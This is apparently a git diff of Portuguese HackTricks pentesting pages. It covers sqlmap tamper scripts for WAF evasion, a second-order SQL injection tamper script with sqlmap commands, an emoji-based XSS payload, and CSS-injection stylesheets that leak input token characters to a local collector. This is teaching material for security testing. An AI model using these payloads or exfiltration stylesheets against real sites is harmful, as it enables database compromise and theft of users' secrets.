| bluecoat.py | Substitui o caractere de espaço após a instrução SQL por um caractere em branco válido aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE |
| chardoubleencode.py | Codifica em URL dupla todos os caracteres em uma determinada carga útil \(não processando os já codificados\) |
| bluecoat.py | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Posteriormente substitui o caractere = pelo operador LIKE |
| chardoubleencode.py | Codifica duas vezes a URL de todos os caracteres em um dado payload \(não processando os já codificados\) |
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
| commalessmid.py | Substitui instâncias como 'MID\(A, B, C\)' por 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Substitui instâncias como 'CONCAT\(A, B\)' por 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Codifica em URL todos os caracteres em uma determinada carga útil \(não processando os já codificados\) |
| charunicodeencode.py | Codifica em URL Unicode caracteres não codificados em uma determinada carga útil \(não processando os já codificados\). "%u0022" |
| charunicodeescape.py | Codifica em URL Unicode caracteres não codificados em uma determinada carga útil \(não processando os já codificados\). "\u0022" |
| charencode.py | Codifica a URL de todos os caracteres em um dado payload \(não processando os já codificados\) |
| charunicodeencode.py | Codifica em unicode-url caracteres não codificados em um dado payload \(não processando os já codificados\). "%u0022" |
| charunicodeescape.py | Codifica em unicode-url caracteres não codificados em um dado payload \(não processando os já codificados\). "\u0022" |
| equaltolike.py | Substitui todas as ocorrências do operador igual \('='\) pelo operador 'LIKE' |
| escapequotes.py | Escapa aspas \(' and "\) |
| greatest.py | Substitui o operador maior que \('&gt;'\) pelo seu equivalente GREATEST |
| halfversionedmorekeywords.py | Adiciona comentário versionado do MySQL antes de cada palavra-chave |
| escapequotes.py | Escapa aspas \(' e "\) com barra invertida |
| greatest.py | Substitui o operador maior que \('&gt;'\) pelo equivalente 'GREATEST' |
| halfversionedmorekeywords.py | Adiciona comentário MySQL versionado antes de cada palavra-chave |
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL\(A, B\)' por 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Abraça a consulta completa com comentário versionado |
| modsecurityzeroversioned.py | Abraça a consulta completa com comentário de versão zero |
| multiplespaces.py | Adiciona vários espaços em torno de palavras-chave SQL |
| modsecurityversioned.py | Envolve a consulta completa com comentário versionado |
| modsecurityzeroversioned.py | Envolve a consulta completa com comentário versionado zero |
| multiplespaces.py | Adiciona múltiplos espaços ao redor das palavras-chave SQL |
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição \(por exemplo, .replace\("SELECT", ""\)\) filtros |
| percentage.py | Adiciona um sinal de porcentagem \('%'\) na frente de cada caractere |
| overlongutf8.py | Converte todos os caracteres em uma determinada carga útil \(não processando os já codificados\) |
| randomcase.py | Substitui cada caractere de palavra-chave por um valor de caso aleatório |
| overlongutf8.py | Converte todos os caracteres em um dado payload \(não processando os já codificados\) |
| randomcase.py | Substitui cada caractere de palavra-chave por um valor de caixa aleatória |
| randomcomments.py | Adiciona comentários aleatórios às palavras-chave SQL |
| securesphere.py | Acrescenta uma string especial criada |
| sp\_password.py | Acrescenta 'sp\_password' ao final da carga útil para obfuscação automática dos logs do DBMS |
| securesphere.py | Acrescenta uma string especialmente elaborada |
| sp\_password.py | Acrescenta 'sp\_password' ao final do payload para obfuscação automática dos logs do DBMS |
| space2comment.py | Substitui o caractere de espaço \(' '\) por comentários |
| space2dash.py | Substitui o caractere de espaço \(' '\) por um comentário de traço \('--'\) seguido de uma string aleatória e uma nova linha \('\n'\) |
| space2hash.py | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido de uma string aleatória e uma nova linha \('\n'\) |
| space2morehash.py | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido de uma string aleatória e uma nova linha \('\n'\) |
| space2dash.py | Substitui o caractere de espaço \(' '\) por um comentário de traço \('--'\) seguido por uma string aleatória e uma nova linha \('\n'\) |
| space2hash.py | Substitui o caractere de espaço \(' '\) por um caractere de cerquilha \('\#'\) seguido por uma string aleatória e uma nova linha \('\n'\) |
| space2morehash.py | Substitui o caractere de espaço \(' '\) por um caractere de cerquilha \('\#'\) seguido por uma string aleatória e uma nova linha \('\n'\) |
| space2mssqlblank.py | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mssqlhash.py | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido de uma nova linha \('\n'\) |
| space2mssqlhash.py | Substitui o caractere de espaço \(' '\) por um caractere de cerquilha \('\#'\) seguido por uma nova linha \('\n'\) |
| space2mysqlblank.py | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mysqldash.py | Substitui o caractere de espaço \(' '\) por um comentário de traço \('--'\) seguido de uma nova linha \('\n'\) |
| space2plus.py | Substitui o caractere de espaço \(' '\) por um sinal de mais \('+'\). |
| space2mysqldash.py | Substitui o caractere de espaço \(' '\) por um comentário de traço \('--'\) seguido por uma nova linha \('\n'\) |
| space2plus.py | Substitui o caractere de espaço \(' '\) por um mais \('+'\) |
| space2randomblank.py | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos \(&& e |
| symboliclogical.py | Substitui os operadores lógicos AND e OR pelos seus equivalentes simbólicos \(&& e \| |
| unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
| unmagicquotes.py | Substitui o caractere de aspas \('\) por uma combinação multibyte %bf%27 juntamente com um comentário genérico no final \(para fazê-lo funcionar\) |
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúscula 'INSERT' |
| unmagicquotes.py | Substitui o caractere de aspas \('\) por uma combinação de multi-bytes %bf%27 junto com um comentário genérico no final \(para que funcione\) |
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em caixa alta 'INSERT' |
| varnish.py | Acrescenta um cabeçalho HTTP 'X-originating-IP' |
| versionedkeywords.py | Encerra cada palavra-chave não funcional com comentário versionado do MySQL |
| versionedmorekeywords.py | Encerra cada palavra-chave com comentário versionado do MySQL |
| versionedkeywords.py | Encerra cada palavra-chave não-funcional com comentário MySQL versionado |
| versionedmorekeywords.py | Encerra cada palavra-chave com comentário MySQL versionado |
| xforwardedfor.py | Acrescenta um cabeçalho HTTP falso 'X-Forwarded-For' |
<details>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,12 +1,27 @@
**SQLMap pode explorar Segundas Ordens SQLis.**\
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
**O SQLMap pode explorar Second Order SQLis.**\
Você precisa fornecer:
* A **requisição** onde o **payload de injeção SQL** será salvo
* A **requisição** onde o **payload de sqlinjection** será salvo
* A **requisição** onde o **payload** será **executado**
A requisição onde o payload de injeção SQL é salvo é **indicada como em qualquer outra injeção no sqlmap**. A requisição **onde o sqlmap pode ler a saída/execução** da injeção pode ser indicada com `--second-url` ou com `--second-req` se você precisar indicar uma requisição completa de um arquivo.
A requisição onde o payload de SQL injection é salvo é **indicada como em qualquer outra injeção no sqlmap**. A requisição **onde o sqlmap pode ler a saída/execução** da injeção pode ser indicada com `--second-url` ou com `--second-req` se você precisar indicar uma requisição completa de um arquivo.
**Exemplo simples de segunda ordem:**
**Exemplo simples de second order:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -14,9 +29,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
Em vários casos, isso não será suficiente porque você precisará realizar outras ações além de enviar a carga útil e acessar uma página diferente.
Em vários casos **isso não será suficiente** porque você precisará **realizar outras ações** além de enviar o payload e acessar uma página diferente.
Quando isso for necessário, você pode usar um **sqlmap tamper**. Por exemplo, o seguinte script registrará um novo usuário **usando a carga útil do sqlmap como email** e sairá.
Quando isso for necessário, você pode usar um **sqlmap tamper**. Por exemplo, o seguinte script irá registrar um novo usuário **usando o payload do sqlmap como email** e fazer logout.
```python
#!/usr/bin/env python
@ -26,32 +41,32 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
Um **tamper do SQLMap é sempre executado antes de iniciar uma tentativa de injeção com uma carga útil** **e ele tem que retornar uma carga útil**. Neste caso, não nos importamos com a carga útil, mas nos importamos em enviar algumas solicitações, para que a carga útil não seja alterada.
Um **tamper do SQLMap é sempre executado antes de iniciar uma tentativa de injeção com um payload** **e deve retornar um payload**. Neste caso, não nos importamos com o payload, mas sim em enviar algumas requisições, então o payload não é alterado.
Portanto, se por algum motivo precisarmos de um fluxo mais complexo para explorar a injeção de SQL de segunda ordem, como:
Portanto, se por algum motivo precisarmos de um fluxo mais complexo para explorar a injeção SQL de segunda ordem, como:
* Criar uma conta com a carga útil SQLi dentro do campo "email"
* Sair
* Criar uma conta com o payload de SQLi dentro do campo "email"
* Fazer logout
* Fazer login com essa conta (login.txt)
* Enviar uma solicitação para executar a injeção de SQL (second.txt)
* Enviar uma requisição para executar a injeção SQL (second.txt)
**Esta linha do sqlmap ajudará:**
```bash
@ -70,16 +85,14 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,31 +1,29 @@
# Injeção de Unicode
# Injeção Unicode
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introdução
Dependendo de como o back-end/front-end está se comportando quando **recebe caracteres Unicode estranhos**, um invasor pode ser capaz de **burlar proteções e injetar caracteres arbitrários** que poderiam ser usados para **explorar vulnerabilidades de injeção** como XSS ou SQLi.
Dependendo de como o back-end/front-end se comporta ao **receber caracteres unicode estranhos**, um atacante pode ser capaz de **burlar proteções e injetar caracteres arbitrários** que podem ser usados para **explorar vulnerabilidades de injeção** como XSS ou SQLi.
## Normalização Unicode
A normalização Unicode ocorre quando os **caracteres Unicode são normalizados para caracteres ASCII**.
A normalização Unicode ocorre quando **caracteres unicode são normalizados para caracteres ascii**.
Um cenário comum desse tipo de vulnerabilidade ocorre quando o sistema está **modificando** de alguma forma a **entrada** do usuário **depois de tê-la verificado**. Por exemplo, em alguns idiomas, uma simples chamada para tornar a **entrada maiúscula ou minúscula** pode normalizar a entrada fornecida e o **Unicode será transformado em ASCII** gerando novos caracteres.\
Para mais informações, consulte:
Um cenário comum desse tipo de vulnerabilidade ocorre quando o sistema está **modificando** de alguma forma a **entrada** do usuário **depois de tê-la verificado**. Por exemplo, em alguns idiomas, uma simples chamada para tornar a **entrada em maiúsculas ou minúsculas** pode normalizar a entrada fornecida e o **unicode será transformado em ASCII**, gerando novos caracteres.\
Para mais informações, confira:
{% content-ref url="unicode-normalization.md" %}
[unicode-normalization.md](unicode-normalization.md)
@ -33,19 +31,19 @@ Para mais informações, consulte:
## `\u` para `%`
Os caracteres Unicode são geralmente representados com o prefixo **`\u`**. Por exemplo, o caractere `㱋` é `\u3c4b`([verifique aqui](https://unicode-explorer.com/c/3c4B)). Se um back-end **transforma** o prefixo **`\u` em `%`**, a string resultante será `%3c4b`, que decodificada por URL é: **`<4b`**. E, como você pode ver, um **caractere `<` é injetado**.\
Caracteres Unicode geralmente são representados com o prefixo **`\u`**. Por exemplo, o caractere `㱋` é `\u3c4b`([verifique aqui](https://unicode-explorer.com/c/3c4B)). Se um back-end **transforma** o prefixo **`\u` em `%`**, a string resultante será `%3c4b`, que decodificado por URL é: **`<4b`**. E, como você pode ver, um caractere **`<` é injetado**.\
Você pode usar essa técnica para **injetar qualquer tipo de caractere** se o back-end for vulnerável.\
Verifique [https://unicode-explorer.com/](https://unicode-explorer.com/) para encontrar os caracteres de que você precisa.
Confira [https://unicode-explorer.com/](https://unicode-explorer.com/) para encontrar os caracteres que você precisa.
Essa vulnerabilidade na verdade vem de uma vulnerabilidade que um pesquisador encontrou, para uma explicação mais detalhada, verifique [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
Esta vulnerabilidade na verdade vem de uma vulnerabilidade que um pesquisador encontrou, para uma explicação mais aprofundada confira [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
## Injeção de Emoji
Os back-ends às vezes se comportam de maneira estranha quando **recebem emojis**. Foi o que aconteceu neste [**writeup**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) onde o pesquisador conseguiu alcançar um XSS com um payload como: `💋img src=x onerror=alert(document.domain)//💛`
Back-ends às vezes se comportam de maneira estranha quando **recebem emojis**. Foi o que aconteceu [**neste relato**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) onde o pesquisador conseguiu realizar um XSS com um payload como: `💋img src=x onerror=alert(document.domain)//💛`
Neste caso, o erro foi que o servidor, após remover os caracteres maliciosos, **converteu a string UTF-8 de Windows-1252 para UTF-8** (basicamente a codificação de entrada e a conversão de codificação não correspondiam). Então, isso não dá um < apropriado, apenas um Unicode estranho: ``\
``Então eles pegaram essa saída e **converteram novamente agora de UTF-8 para ASCII**. Isso **normalizou** o `` para `<` e é assim que o exploit poderia funcionar nesse sistema.\
Isso é o que aconteceu:
Neste caso, o erro foi que o servidor, após remover os caracteres maliciosos, **converteu a string UTF-8 de Windows-1252 para UTF-8** (basicamente a codificação de entrada e a conversão de codificação não coincidiam). Então isso não gerou um < apropriado, apenas um unicode estranho: ``\
``Então eles pegaram essa saída e **converteram novamente agora de UTF-8 para ASCII**. Isso **normalizou** o `` para `<` e assim o exploit pôde funcionar naquele sistema.\
Foi o que aconteceu:
```php
<?php
@ -58,21 +56,19 @@ echo "String: " . $str;
```
Listas de emojis:
* [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv)
* [https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv)
* [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,23 +2,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -34,7 +32,11 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
@import url('//localhost:5001/start?');
</style>
```
```markdown
{% endcode %}
{% code title="server.js" %}
```
```javascript
const http = require('http');
const url = require('url');
@ -191,9 +193,9 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
/*
HTTP/1.1 200 OK
Content-Type: text/css
Data: Sex, 01 Abr 2022 14:35:39 GMT
Conexão: fechar
Comprimento do Conteúdo: 2149
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149
@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
@ -232,26 +234,25 @@ input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
